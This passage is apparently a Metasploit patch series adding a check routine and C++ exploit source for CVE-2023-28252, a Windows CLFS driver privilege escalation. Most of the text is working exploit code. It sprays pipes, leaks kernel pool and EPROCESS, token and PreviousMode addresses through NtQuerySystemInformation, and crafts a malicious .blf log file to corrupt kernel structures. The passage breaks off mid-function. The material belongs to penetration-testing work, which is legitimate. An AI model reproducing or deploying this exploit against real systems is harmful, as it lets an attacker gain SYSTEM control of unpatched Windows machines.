version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_21H2) || version.build_number == Rex::Version.new('10.0.22000.0') || version.build_number == Rex::Version.new('10.0.20348.0') + return CheckCode::Appears("The target is running windows version: #{version.build_number} which has a vulnerable version of clfs.sys installed by default") + end - false + CheckCode::Safe end def exploit - # if is_system? - # fail_with(Failure::None, 'Session is already elevated') - # end - - # check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL - unless target_compatible? - fail_with(Failure::NoTarget, 'The exploit does not support this target') + if is_system? + fail_with(Failure::None, 'Session is already elevated') end if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 From 30b824d8ab96342da9d73377f7717f7d4692608f Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 2 Aug 2023 19:33:25 -0400 Subject: [PATCH 3/8] external sources --- .../CVE-2023-28252/CVE-2023-28252.sln | 31 + .../CVE-2023-28252/CVE-2023-28252.vcxproj | 240 + .../CVE-2023-28252/clfs_eop.cpp | 1499 ++++ .../CVE-2023-28252/CVE-2023-28252/clfs_eop.h | 133 + .../CVE-2023-28252/CVE-2023-28252/crc32.h | 45 + .../CVE-2023-28252/CVE-2023-28252/dllmain.cpp | 44 + .../CVE-2023-28252/CVE-2023-28252/exploit.cpp | 89 + .../CVE-2023-28252/CVE-2023-28252/exploit.h | 121 + .../CVE-2023-28252/CVE-2023-28252/ntos.h | 6455 +++++++++++++++++ .../CVE-2023-28252/ntoskrnl.lib | Bin 0 -> 900146 bytes 10 files changed, 8657 insertions(+) create mode 100755 external/source/exploits/CVE-2023-28252/CVE-2023-28252.sln create mode 100755 external/source/exploits/CVE-2023-28252/CVE-2023-28252/CVE-2023-28252.vcxproj create mode 100755 external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.cpp create mode 100755 external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.h create mode 100755 external/source/exploits/CVE-2023-28252/CVE-2023-28252/crc32.h create mode 100755 external/source/exploits/CVE-2023-28252/CVE-2023-28252/dllmain.cpp create mode 100755 external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.cpp create mode 100755 external/source/exploits/CVE-2023-28252/CVE-2023-28252/exploit.h create mode 100755 external/source/exploits/CVE-2023-28252/CVE-2023-28252/ntos.h create mode 100755 external/source/exploits/CVE-2023-28252/CVE-2023-28252/ntoskrnl.lib diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252.sln b/external/source/exploits/CVE-2023-28252/CVE-2023-28252.sln new file mode 100755 index 000000000000..73eac3c816de --- /dev/null +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.33801.447 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2023-28252", "CVE-2023-28252\CVE-2023-28252.vcxproj", "{C1983EC8-C84D-4284-85CA-AF4F06AE0398}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C1983EC8-C84D-4284-85CA-AF4F06AE0398}.Debug|x64.ActiveCfg = Debug|x64 + {C1983EC8-C84D-4284-85CA-AF4F06AE0398}.Debug|x64.Build.0 = Debug|x64 + {C1983EC8-C84D-4284-85CA-AF4F06AE0398}.Debug|x86.ActiveCfg = Debug|Win32 + {C1983EC8-C84D-4284-85CA-AF4F06AE0398}.Debug|x86.Build.0 = Debug|Win32 + {C1983EC8-C84D-4284-85CA-AF4F06AE0398}.Release|x64.ActiveCfg = Release|x64 + {C1983EC8-C84D-4284-85CA-AF4F06AE0398}.Release|x64.Build.0 = Release|x64 + {C1983EC8-C84D-4284-85CA-AF4F06AE0398}.Release|x86.ActiveCfg = Release|Win32 + {C1983EC8-C84D-4284-85CA-AF4F06AE0398}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {3FD03BC0-5F34-4393-AEB8-3B2F1EC49E5B} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/CVE-2023-28252.vcxproj b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/CVE-2023-28252.vcxproj new file mode 100755 index 000000000000..acd9842983d9 --- /dev/null +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/CVE-2023-28252.vcxproj @@ -0,0 +1,240 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {c1983ec8-c84d-4284-85ca-af4f06ae0398} + Win32Proj + CVE_2023_28252 + 10.0 + + + + Application + true + v142 + MultiByte + + + Application + false + v142 + false + MultiByte + + + Application + true + v142 + MultiByte + + + DynamicLibrary + false + v142 + false + MultiByte + + + + + + + + + + + + + + + + + + + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + + NotUsing + Level3 + true + WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + ProgramDatabase + false + OnlyExplicitInline + true + MultiThreaded + false + + + Windows + true + false + true + $(OutDir)$(TargetName).pdb + $(OutDir)$(TargetName).map + false + $(OutDir)$(ProjectName).lib + %(AdditionalLibraryDirectories) + + + + + NotUsing + Level3 + true + _DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\..\include\windows;..\..\include\windows;..\include\windows;%(AdditionalIncludeDirectories) + ProgramDatabase + false + OnlyExplicitInline + true + MultiThreaded + false + + + Windows + true + false + true + $(OutDir)$(TargetName).pdb + $(OutDir)$(TargetName).map + false + $(OutDir)$(ProjectName).lib + %(AdditionalLibraryDirectories) + + + + + NotUsing + Level3 + false + false + + + WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + false + OnlyExplicitInline + true + MultiThreaded + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + + + Windows + true + true + false + false + %(AdditionalLibraryDirectories) + false + $(OutDir)$(TargetName).map + $(OutDir)$(TargetName).pdb + false + $(OutDir)$(ProjectName).lib + + + + + NotUsing + Level3 + false + false + + + NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\..\include\windows;%(AdditionalIncludeDirectories) + false + OnlyExplicitInline + true + MultiThreaded + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + + + Console + true + true + false + false + %(AdditionalLibraryDirectories) + false + $(OutDir)$(TargetName).map + $(OutDir)$(TargetName).pdb + false + $(OutDir)$(ProjectName).lib + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.cpp b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.cpp new file mode 100755 index 000000000000..c8d6ccc4b96c --- /dev/null +++ b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/clfs_eop.cpp @@ -0,0 +1,1499 @@ + +#pragma once +#include "clfs_eop.h" +#include + + +// Global Variables +IO_STATUS_BLOCK status_block = { 0 }; +UINT64 offset_SeSetAccess = 0; +UINT64 offset_RtlClearBit = 0; +UINT64 offset_PoFxProcessorNotification=0; +UINT64 offset_SeSetAccessStateGenericMapping = 0; +UINT64 offset_FsRtlCurrentBatchOplock = 0; +func3* _NtFsControlFile; +UINT64 fnSeSetAccessStateGenericMapping = 0; +UINT64 fnPoFxProcessorNotification = 0; +UINT64 offset_ClfsEarlier = 0; +UINT64 offset_ClfsMgmtDeregisterManagedClient = 0; +UINT64 fnClfsEarlierLsn = 0; +UINT64 fnClfsMgmtDeregisterManagedClient = 0; +UINT64 fnRtlClearBit = 0; +UINT64 fnFsRtlCurrentBatchOplock = 0; +UINT64 para_PipeAttributeobjInkernel = 0; +CHAR clfs_path[] = { "\\SystemRoot\\System32\\drivers\\CLFS.SYS" }; +FARPROC user_ClfsEarlierLsn = NULL; +FARPROC user_ClfsMgmtDeregisterManagedClient = NULL; +FARPROC user_RtlClearBit = NULL; +FARPROC user_SeSetAccessStateGenericMapping = NULL; +FARPROC user_PoFxProcessorNotification = NULL; +UINT64 ntos_kernelBase = NULL; +UINT64 clfs_kernelBase = NULL; +WCHAR* stored_env_xfname = { 0 }; +WCHAR* stored_env_containerfname = { 0 }; +WCHAR* stored_env_filename = { 0 }; +VOID* temp_chunk = 0; +HANDLE logFile = INVALID_HANDLE_VALUE; +HANDLE logFile2 = INVALID_HANDLE_VALUE; +HANDLE filehandle = INVALID_HANDLE_VALUE; +HANDLE hPipeRead = 0 ; +HANDLE hPipeWrite = 0; +UINT64 System_token_value = 0; +UINT64 System_token_value2 = 0; +size_t numread; +#define NUMELEM 0x7a00 +#define NUMELEM2 0x400 +char buff[0x7a00]; +char buff2[0x400]; +char buff1[0x400]; +char buff3[0x7a00]; +char buff4[0x10000]; +INT64 consec_number = 0; +INT64 distance = 0; +INT64 prev_pointer = 0; +INT64 temp_pointer = 0; +INT64 temp_distance = 0; +INT64 final_distance = 0; +UINT num_of_CLFS = 0; +PUINT p_num_of_CLFS = &num_of_CLFS; // number of CLFS tags +CHAR tag[] = { "Clfs" }; +PUINT64 p_possible_kernelAddrArray = 0; // Offset of last field virtual address +DWORD* temp_alloc_2 = 0; +unsigned int amount_of_CLFS_pools = 0; // stores the amount of bigpool clfs tags +WCHAR* stored_name_CreateLog; +DWORD _pid = 0; +DWORD pid_to_find = 0; +int token_offset = 0; +LONGLONG token_value = 0; +WCHAR* stored_name_fopen; +WCHAR* foldr = nullptr; +DWORDLONG system_EPROCESS = 0; +DWORDLONG system_EPROCESS_low = 0; +DWORDLONG system_EPROCESS_high = 0; +PUINT64 kernelAddrArray = 0; +HANDLE hProcess = NULL; +HANDLE hThread = NULL; +HANDLE hToken = NULL; +HMODULE user32 = NULL; +int flag = 0; +int flag2 = 0; +UINT64 dest2 = 0; +UINT64 dest3 = 0; +UINT64 value2 = 0; +UINT64* value3 = 0; +UINT64 next_token; +HMODULE ntbase = 0; +UINT PIPE_ATTR_TAG = 0x7441704E; // NpAt +ULONG retlen2 = 0; +int random_part = 0; +int random_part2 = 0; +UINT64 CLFS_kernelAddrArray = 0; +HANDLE hlogfile = INVALID_HANDLE_VALUE; +FILE* pfile = 0; +FILE* pfile2 = 0; +WCHAR* stored_env_log = { 0 }; +WCHAR* stored_env = { 0 }; +WCHAR* stored_env_spray = { 0 }; +WCHAR* stored_env_spray_log; +WCHAR* stored_log_arrays[10] = { 0 }; +WCHAR* stored_container_arrays[10] = { 0 }; +WCHAR* stored_fopen_arrays[10] = { 0 }; +WCHAR* tmp_env8 = { 0 }; +VOID * buffer_0x1a0 = { 0 }; +UINT64 * handles_buffer1 = { 0 }; +UINT64* handles_buffer2 = { 0 }; +VOID* dest; +unsigned int pos_token = 0; +DWORD64 g_EProcessAddress = 0; +DWORD64 g_EThreadAddress = 0; +DWORD64 g_PreviousModeAddress; +DWORD64 g_TokenAddress, my_pidEprocess; +BYTE g_Agent[0x2000] = { 'C' , 'A' , 'F' , 'E' , 'C' , 'A' , 'F' , 'E' }; +_NtQuerySystemInformation fnNtQuerySystemInformation = NULL; +_NtWriteVirtualMemory fnNtWriteVirtualMemory = NULL; + + +void clfs_eop::fun_pipeSpray(int value, UINT64* temp_buffer) { + + + int contador = 0; + if (value > 0) + { + int index = 0; + do + { + if (!(unsigned int)CreatePipe((PHANDLE)&temp_buffer[index], (PHANDLE)&temp_buffer[index + 1], 0, 0x25c0)) + { + if (contador > 0) + { + do + { + CloseHandle((HANDLE)*temp_buffer); + CloseHandle((HANDLE)temp_buffer[1]); + temp_buffer += 2; + --contador; + } while (contador); + } + exit(1); + + } + + contador = contador + 1; + index += 2; + } while (contador < value); + } + printf("\nnumber of pipes created =%x\n", contador); + return; +} + +void clfs_eop::getVirtualAddress() { + ntbase = LoadLibraryA("ntdll.dll"); + + if (!ntbase) { + printf("[!] LoadLibrary failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + + fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntbase, "NtQuerySystemInformation"); + + _NtFsControlFile = (func3*)GetProcAddress(ntbase, "NtFsControlFile"); + if (!_NtFsControlFile) exit(1); + + + printf("\nVIRTUAL ADDRESSES AND OFFSETS\n"); + + printf("[+] NtFsControlFile Address --> %p\n", _NtFsControlFile); + + if (!CreatePipe(&hPipeRead, &hPipeWrite, 0, 0x1000)) + { + exit(0); + } + + + temp_chunk = malloc(0x2000); + + if (temp_chunk == 0) { exit(0); } + + memset((UINT64*)temp_chunk + 1, 0x41, 0xffe); + *(UINT64*)temp_chunk = 0x5a; // "Z" + + dest = malloc(0x100); + + if (dest == 0) { exit(0); } + + memset(dest, 0x42, 0xff); + + temp_alloc_2 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4); + + _NtFsControlFile(hPipeWrite, 0, 0, 0, &status_block, 0x11003c, temp_chunk, 0xfd8, dest, 0x100); + + fnNtQuerySystemInformation(SystemBigPoolInformation, temp_alloc_2, 0x1000, &retlen2); + + DWORD* v5a = (DWORD*)VirtualAlloc(0, (SIZE_T)retlen2, 0x1000, 4); + + + NTSTATUS status = STATUS_SUCCESS; + + if (NT_SUCCESS(status = fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2))) { + PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(v5a); + + if (pBuf == 0) { exit(0); } + + for (ULONG i = 0; i < pBuf->Count; i++) { + __try { + if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) { + printf("[+] pool NpAt VirtualAddress -->%p\n", pBuf->AllocatedInfo[i].VirtualAddress); + para_PipeAttributeobjInkernel = (UINT64)pBuf->AllocatedInfo[i].VirtualAddress; + break; + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + printf("(%s) Access Violation was raised.", __FUNCTION__); + } + } + } + + return; +} + +SIZE_T clfs_eop::GetObjectKernelAddress(HANDLE Object) +{ + PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL; + ULONG handleInfoSize = 0x1000; + ULONG retLength; + NTSTATUS status; + SIZE_T kernelAddress = 0; + BOOL bFind = FALSE; + + while (TRUE) + { + handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); + + status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); + + if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH + { + LocalFree(handleInfo); + + handleInfoSize = retLength + 0x100; + handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize); + + status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); + + + if (!handleInfo) { + printf("[!] cannot read handle info %x\n", (unsigned int)GetLastError()); + exit(1); + } + + ULONG numHandles = (ULONG)handleInfo->NumberOfHandles; + + if (!numHandles) { + printf("[!] cannot read number of handles %x\n", (unsigned int)GetLastError()); + exit(1); + } + + if (NT_SUCCESS(status)) + { + for (ULONG i = 0; i < numHandles; i++) + { + if ((DWORD64)Object == 0x4) + { + if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue) + { + + kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; + bFind = TRUE; + break; + } + } + else + { + if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue) + { + kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; + bFind = TRUE; + break; + } + } + } + } + + } + + if (handleInfo) + LocalFree(handleInfo); + + if (bFind) + break; + } + + return kernelAddress; +} + +VOID clfs_eop::InitEnvironment() +{ + + DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS); + + g_EProcessAddress = GetObjectKernelAddress(hProcess); + printf("[+] MY EPROCESSS %p\n", (void*)g_EProcessAddress); + + system_EPROCESS = GetObjectKernelAddress((HANDLE)4); + printf("[+] SYSTEM EPROCESSS %p\n", (void*)system_EPROCESS); + + DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS); + g_EThreadAddress = GetObjectKernelAddress(hThread); + printf("[+] _ETHREAD ADDRESS %p\n", (void*)g_EThreadAddress); + + g_PreviousModeAddress = g_EThreadAddress + OFFSET_OF_PREVIOUS_MODE; + printf("[+] PREVIOUS MODE ADDRESS %p\n", (void*)g_PreviousModeAddress); + + FindKernelModulesBase(); + + //Find CLFS functions + + HMODULE CLFS_userBase = LoadLibraryExW(L"C:\\Windows\\System32\\drivers\\CLFS.SYS", 0, 1); + if (CLFS_userBase) + { + user_ClfsEarlierLsn = GetProcAddress(CLFS_userBase, "ClfsEarlierLsn"); + user_ClfsMgmtDeregisterManagedClient = GetProcAddress(CLFS_userBase, "ClfsMgmtDeregisterManagedClient"); + + } + + + offset_ClfsEarlier = (UINT64)user_ClfsEarlierLsn - (UINT64)CLFS_userBase; + offset_ClfsMgmtDeregisterManagedClient = (UINT64)user_ClfsMgmtDeregisterManagedClient - (UINT64)CLFS_userBase; + + printf("[+] Offset ClfsEarlierLsn --------------------------> %p\n", (void*)offset_ClfsEarlier); + printf("[+] Offset ClfsMgmtDeregisterManagedClient --------------------------> %p\n", (void*)offset_ClfsMgmtDeregisterManagedClient); + + fnClfsEarlierLsn = clfs_kernelBase + offset_ClfsEarlier; + fnClfsMgmtDeregisterManagedClient = clfs_kernelBase + offset_ClfsMgmtDeregisterManagedClient; + + printf("[+] Kernel ClfsEarlierLsn --------------------------> %p\n", (void*)fnClfsEarlierLsn); + printf("[+] Kernel ClfsMgmtDeregisterManagedClient --------------------------> %p\n", (void*)fnClfsMgmtDeregisterManagedClient); + + //Find NTOSKRNL functions + + HMODULE ntos_userBase = LoadLibraryExW(L"ntoskrnl.exe", 0, 1); + if (ntos_userBase) + { + user_RtlClearBit = GetProcAddress(ntos_userBase, "RtlClearBit"); + user_PoFxProcessorNotification = GetProcAddress(ntos_userBase, "PoFxProcessorNotification"); + user_SeSetAccessStateGenericMapping = GetProcAddress(ntos_userBase, "SeSetAccessStateGenericMapping"); + + } + + offset_RtlClearBit = (UINT64)user_RtlClearBit - (UINT64)ntos_userBase; + offset_PoFxProcessorNotification = (UINT64)user_PoFxProcessorNotification - (UINT64)ntos_userBase; + offset_SeSetAccessStateGenericMapping = (UINT64)user_SeSetAccessStateGenericMapping - (UINT64)ntos_userBase; + + printf("[+] Offset RtlClearBit --------------------------> %p\n", (void*)offset_RtlClearBit); + printf("[+] Offset PoFxProcessorNotification --------------------------> %p\n", (void*)offset_PoFxProcessorNotification); + printf("[+] Offset SeSetAccessStateGenericMapping --------------------------> %p\n", (void*)offset_SeSetAccessStateGenericMapping); + + + + fnRtlClearBit = ntos_kernelBase + offset_RtlClearBit; + fnSeSetAccessStateGenericMapping = ntos_kernelBase + offset_SeSetAccessStateGenericMapping; + fnPoFxProcessorNotification = ntos_kernelBase + offset_PoFxProcessorNotification; + + printf("[+] Kernel RtlClearBit --------------------------> %p\n", (void*)fnRtlClearBit); + printf("[+] Kernel SeSetAccessStateGenericMapping --------------------------> %p\n\n", (void*)fnSeSetAccessStateGenericMapping); + printf("[+] Kernel PoFxProcessorNotification --------------------------> %p\n\n", (void*)fnPoFxProcessorNotification); + + return; +} + +int clfs_eop::createInitialLogFile() { + + printf("\nPATHS\n"); + + WCHAR* foldr = nullptr; + size_t sz = 0; + if (!(_wdupenv_s(&foldr, &sz, L"PUBLIC") == 0 && foldr != nullptr)) + { + return 0; + + } + + + + WCHAR* tmp_env = (WCHAR*)malloc(0x1000); + + if (!tmp_env) { + printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + + stored_env = tmp_env; // where Public environment variable is stored + memset(tmp_env, 0, 0x1000); + + wsprintfW(stored_env, L"%s", foldr); + + wprintf((LPWSTR)L"[+] Folder Public Path = %ls\n", stored_env); //stored_env is C:\Users\Public + + WCHAR* tmp_env2 = (WCHAR*)malloc(0x1000); + + if (!tmp_env2) { + printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + + stored_env_log = tmp_env2; // where Public environment variable is stored + memset(tmp_env2, 0, 0x1000); + + wsprintfW(stored_env_log, L"LOG:%s", stored_env); + + + srand((unsigned int)time(NULL)); + random_part = rand() % 100 + 1; + + WCHAR* tmp_env3 = (WCHAR*)malloc(0x1000); + + if (!tmp_env3) { + printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + + stored_name_CreateLog = tmp_env3; // where Public environment variable is stored + memset(tmp_env3, 0, 0x1000); + + wsprintfW(stored_name_CreateLog, L"%s\\%d", stored_env_log, random_part);//en el blogpost es para_pszLogFileName + + wprintf((LPWSTR)L"[+] Base log file name path= %ls\n", stored_name_CreateLog); //stored_env_fname is example=LOG:C:\Users\Public\1280 + + + WCHAR* tmp_env4 = (WCHAR*)malloc(0x1000); + + if (!tmp_env4) { + printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + + stored_name_fopen = tmp_env4; // where Public environment variable is stored + memset(tmp_env4, 0, 0x1000); + + + wsprintfW(stored_name_fopen, L"%s\\%d.blf", stored_env, random_part); ////en el blogpost es para_myLogfileName + + wprintf((LPWSTR)L"[+] Base file path = %ls\n", stored_name_fopen); //stored_env_open example=C:\Users\Public\1623.blf + + + WCHAR* tmp_env6 = (WCHAR*)malloc(0x1000); + + if (!tmp_env6) { + printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + + stored_env_containerfname = tmp_env6; + memset(tmp_env6, 0, 0x1000); + + + srand((unsigned int)time(NULL)); + int rand0 = rand(); + + wsprintfW(stored_env_containerfname, L"%s\\.p_%d", stored_env, random_part); + + wprintf((LPWSTR)L"[+] Container file name path = %ls\n", stored_env_containerfname); //stored_env_containerfname example=C:\Users\Public\.2796 + + WCHAR* tmp_env7 = (WCHAR*)malloc(0x1000); + + + + + // 1. Create a base log file MyLog.blf in the folder C:\Users\Public\ via the CreateLogFile API + + logFile = CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE, 1, 0, 4, 0); + + + + if (logFile == INVALID_HANDLE_VALUE) { + DWORD error = GetLastError(); + printf("Could not create LOGfile1, error: 0x%x\n", (unsigned int)error); + exit(-1); + } + + + CloseHandle(logFile); + + + + return 0; +} + +UINT64 clfs_eop::getBigPoolInfo() +{ + UINT64 contador = 0; + UINT v8 = 0; // counter + UINT64 possible_kernelAddres = 0; + ULONG retlen = 0; + PUINT64 temp_kernelAddrArray = 0; + ULONG real_size = 0; + DWORD* buf_big_pool_info; + UINT field_count = 0; + UINT64 pool_CLFS = 0; + PUINT64 p_pool_CLFS = &pool_CLFS; + + DWORD* temp_big_pool_info = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4); + + if (!temp_big_pool_info) { + printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + if (fnNtQuerySystemInformation(SystemBigPoolInformation, temp_big_pool_info, 0x1000, &retlen) == 0xC0000004) + { + + while (1) + { + VirtualFree(temp_big_pool_info, 0, 0x8000); + real_size = retlen; + buf_big_pool_info = (DWORD*)VirtualAlloc(0, (SIZE_T)real_size, 0x1000, 4); + temp_big_pool_info = buf_big_pool_info; + if (!buf_big_pool_info) + { + printf("[+] Error Allocating Memory\n"); + break; + } + + if (fnNtQuerySystemInformation(SystemBigPoolInformation, buf_big_pool_info, real_size, &retlen) != 0xC0000004) + { + goto label_4; + } + else { + break; + } + + } + + } + else { + label_4: + + field_count = (UINT) * (PUINT)temp_big_pool_info; // v6 is the field count on the SYSTEM_BIGPOOL_INFORMATION + + + if (flag2 == 0) { + kernelAddrArray = (PUINT64)malloc((UINT64)field_count * 8); + if (!kernelAddrArray) { + printf("[!] Allocation failed with error %x\n", (unsigned int)GetLastError()); + exit(1); + } + // printf("Kernel addresss array %p", kernelAddrArray); + memset(kernelAddrArray, 0, ((UINT64)field_count * 8)); + flag2++; + } + //printf("field count of pools =%d\n", field_count); + if (field_count) + { + amount_of_CLFS_pools = *p_num_of_CLFS; + //printf("amount_of_CLFS_pools %d\n", amount_of_CLFS_pools); + p_possible_kernelAddrArray = (PUINT64)&temp_big_pool_info[4 * field_count - 4 + 2 * field_count]; + + + do { + possible_kernelAddres = *p_possible_kernelAddrArray & 0xFFFFFFFFFFFFFFFE; + + if ((*p_possible_kernelAddrArray & 1) == 0) + { + possible_kernelAddres = *p_possible_kernelAddrArray; + } + if (p_possible_kernelAddrArray[1] == 0x7a00) // search for the clfs base log file size + { + + UINT v12 = 0; + while (1) + { + CHAR v13 = tag[v12++]; + if (v13 != *((BYTE*)p_possible_kernelAddrArray + v12 + 15)) + { + break; + } + + if (v12 == 5) // tag Clfs found ! + { + UINT v14 = 0; + + + if (amount_of_CLFS_pools <= 0) + { + label_16: + UINT v16 = amount_of_CLFS_pools++; + kernelAddrArray[v16] = possible_kernelAddres; + + + if (p_pool_CLFS) + { + ++v8; + *p_pool_CLFS = possible_kernelAddres; + //printf("Possible kernel CLFS address= %p\n", possible_kernelAddres); + + } + } + else + { + temp_kernelAddrArray = kernelAddrArray; + while (*temp_kernelAddrArray != possible_kernelAddres) + { + ++v14; + ++temp_kernelAddrArray; + if (v14 >= amount_of_CLFS_pools) { + goto label_16; + } + } + } + break; + } + + } + } + + + ++contador; + p_possible_kernelAddrArray -= 3; // back 0x18 to previous System Big Pool Entry to find the 0x7a00 + } while (contador < field_count); // it compares the counter against the field count of SYSTEM_BIGPOOL_INFORMATION + + *p_num_of_CLFS = amount_of_CLFS_pools; + } + + if (p_pool_CLFS && v8 == 0) { + printf("[+] Not found available chunk\n"); + exit(1); + } + VirtualFree(temp_big_pool_info, 0, 0x8000); + } + //printf("Last kernel CLFS address = % p\n", pool_CLFS); + //printf("numero de tags CLFS founded %d\n\n", v8); + return pool_CLFS; +} + +VOID clfs_eop::craftbaseFile(FILE* pfile) { + + + unsigned char RecordOffset12[] = { 0x69, 0x03 }; // offset 0x858 RecordOffset[12d] to 0x369 + + unsigned char data1[] = { 0xa0, 0x15}; // offset 0x1dd0 to 0x15a0 + + unsigned char data2[] = { 0x70, 0x15}; // offset 0x1dd4 to 0x1570 + + unsigned char data3[] = { 0x08, 0xf0, 0xfd, 0xc1 }; // offset 0x1de0 write to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cType the value CLFS_NODE_TYPE_CONTAINER_CONTEXT = 0xC1FDF008 + + unsigned char data4[] = { 0x30, 0x00 }; // offset 0x1de4 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.cbNode is the size of the container (to 0x30) + + unsigned char data5[] = { 0x00, 0x00, 0x00, 0x05 }; // offset 0x1df8 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContainer + + + unsigned char data6[] = { 0x58, 0x18}; // offset 0x1df8 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContaine + + unsigned char data7[] = { 0x88, 0x18}; // offset 0x1df8 to a fake _CLFS_CONTAINER_CONTEXT.cidNode.pContaine + + + fseek(pfile, 0x858, SEEK_SET); + fwrite(RecordOffset12, sizeof(char), sizeof(RecordOffset12), pfile); // offset 0x858 RecordOffset[12d] to 0x369 + + fseek(pfile, 0x1dd0, SEEK_SET); + fwrite(data1, sizeof(char), 